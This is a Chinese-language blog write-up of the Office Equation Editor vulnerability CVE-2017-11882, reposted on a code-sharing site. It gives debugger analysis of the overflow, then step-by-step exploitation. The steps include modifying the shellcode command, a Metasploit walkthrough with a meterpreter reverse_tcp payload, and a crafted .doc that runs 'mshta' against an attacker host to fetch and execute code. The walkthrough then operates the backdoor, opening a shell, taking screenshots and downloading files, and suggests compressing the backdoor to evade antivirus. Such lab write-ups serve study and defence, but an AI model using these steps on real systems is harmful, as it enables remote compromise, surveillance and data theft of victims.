漏洞分析之CVE-2017-11882


漏洞分析之 CVE-2017-11882

目錄

☛ 漏洞介紹

  • 安全公司Embedi最早報告了漏洞,其出現在一個老舊的微軟工具 Equation Editor 中 的EQNEDT32.EXE可執行程序,這套工具的作用是插入數學公式,雖然在 Office 2007 后 就被取代,但出於早期兼容性的考慮得以仍然保留

  • 漏洞影響的版本

    • Office 365
    • Microsoft Office 2000
    • Microsoft Office 2003
    • Microsoft Office 2007 Service Pack 3
    • Microsoft Office 2010 Service Pack 2
    • Microsoft Office 2013 Service Pack 1
    • Microsoft Office 2016
  • 文件信息

    在 PEiD 中可以發現,程序發布與 2000 年,編譯器使用的VC++ 4.2

☛ 漏洞分析

☛ 1.漏洞分析環境與工具

操作系統:Window 7 專業版 (32 位)
軟件:office 2003 sp3
工具:Ollydbg,windbg,IDA Pro
OfficeMalScanner,python 模塊 oletools(rtfobj)

☛ 2.獲取 Poc[點擊🔗]

☛ 3.復現漏洞

1.搭建漏洞環境(安裝 office2003 sp3:完整安裝),執行漏洞 poc
2.由於漏洞出現在 EQNEDT32.EXE 進程,開啟 word 之后,需要先開啟一下公 式編輯器
3.菜單-插入-對象,找到公式 3.0(如果沒有說明 office 安裝不完全)

4.復現漏洞效果

當運行文檔時,Word會自動彈出系統計算器,我們可以依此作為突破口進行分析

☛ 4.分析漏洞

1.定位漏洞函數,及漏洞觸發時的操作,由於會彈出計算器,可以在創建進程CreateProcessA CreateProcesW WinExec處下斷點

  • 程序在 WinExec API斷下,可以分析堆棧信息(向上分析:上一層的函數),可以看到一個地址0x411837,一般就可認為這個地址所在的函數應該就是溢出函數或溢出函數所在的函數

  • 找到地址 0x411837 的函數開始的地方0x41160F重新運行分析,斷下之后,跟蹤分析,發現覆蓋堆棧的代碼就是這個函數(0x41160F);調式函數內部,找到覆蓋代碼操作的是0x411658處的指令

2.分析漏洞成因(即 Shellcode)

  • 使用 IDA 定位到漏洞函數 0x41160F 函數(程序可在OD附加中根據路徑找到)

  • 根據圖中,Shellcode 是作為參數傳遞進來的,並且規定的Shellcode的長度

  • 根據圖中 "cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA"可知計算器是通過cmd指令運行起來的

3.分析 Shellcode
Shellcode的長度 44 + 4:44位執行命名字符串,4位返回地址

☛ 5.漏洞利用

1.漏洞利用步驟:

  • 1.定立目標:彈出一個網頁
  • 2.編寫Shellcode:修改樣本中的執行字符串(注意字符串長度)
    改成:cmd.exe /c explorer.exe http://www.15pb.com&

2.漏洞利用實現效果

☛ 6.利用漏洞2

1.漏洞利用步驟

  • 1.准備環境
  • 2.使用 Kali metasploit 生成后門木馬
  • 3.在 Windows7 上運行后門木馬
  • 4.在 metaslpoit 中鏈接之后,操作后門

2.准備環境

  • 1.更新 Metasploit

    /> apt update
    /> apt install metasploit-framework

  • 2.拷貝模塊文件到以下目錄(cve-2017-11882.rb:漏洞模塊、負責與樣本通信)

    /> cd Desktop
    /> cp cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat

  • 3.拷貝生成樣本的 python 腳本到桌面(CVE-2017-11882.py)

3.使用Kali Metasploit 准備好后門、監聽程序、開始攻擊

  • 1.進入metasploit-framework

    /> msfconsole

  • 2.search 漏洞利用模塊

    /> search cve-2017-11882

  • 3.使用對應漏洞利用模塊

    /> use exploit/windows/fileformat/cve-2017-11882

  • 4.設置漏洞利用信息,包括 payload 類型、IP、端口等

    /> set payload windows/meterpreter/reverse_tcp
    /> show options(顯示必要設置的選項,查看有無漏項)
    /> set lhost 192.168.174.129(Kali系統的IP)

    /> set lport 4444
    /> set uripath 11882
    /> show options(顯示必要設置的選項,查看有無漏項)

  • 5.重開一個Terminal,使用 CVE-2017-11882,py 腳本樣本(IP必須是 Kali虛擬機的IP;虛擬路徑必須是剛剛設置好的 uripath 的路徑)

    /> cd Desktop
    /> python CVE-2017-11882.py -c "mshta http://192.168.174.129:8080/11882" -o 11882.doc

  • 6.開始攻擊

    /> exploit(等待后門程序回連)

    /> 鏈接成功后,使用命令 sessiions 查看鏈接信息

4.在 Windows7 上運行后門木馬

  • 拷貝后門時,注意壓縮,否則有可能被殺

5.在 metasploit 中鏈接之后,操作后門

  • 1.使用 sessions 1 進入 sessions,開始操作后門

  • 2.使用命令進入 shell

    /> shell

  • 3.使用命令 screenshot 截圖

    /> screenshot

  • 4.使用命令 download 下載文件到指定路徑

    /> download C:/1111.txt /root/Desktop

☛ 總結

  • Office 漏洞很多,大多數都是棧溢出,層出不窮
  • CVE-2017-11882 是一個 2000 年就存在的陳年老洞

☛ 參考資料

安全公司 Embedi 的分析文檔
http://www.freebuf.com/vuls/154298.html
https://www.anquanke.com/post/id/87311
https://www.anquanke.com/post/id/87284
https://www.jianshu.com/p/512fa0b3b801

完成時間:2018-10-23 10:24:05 星期二

<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">






免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM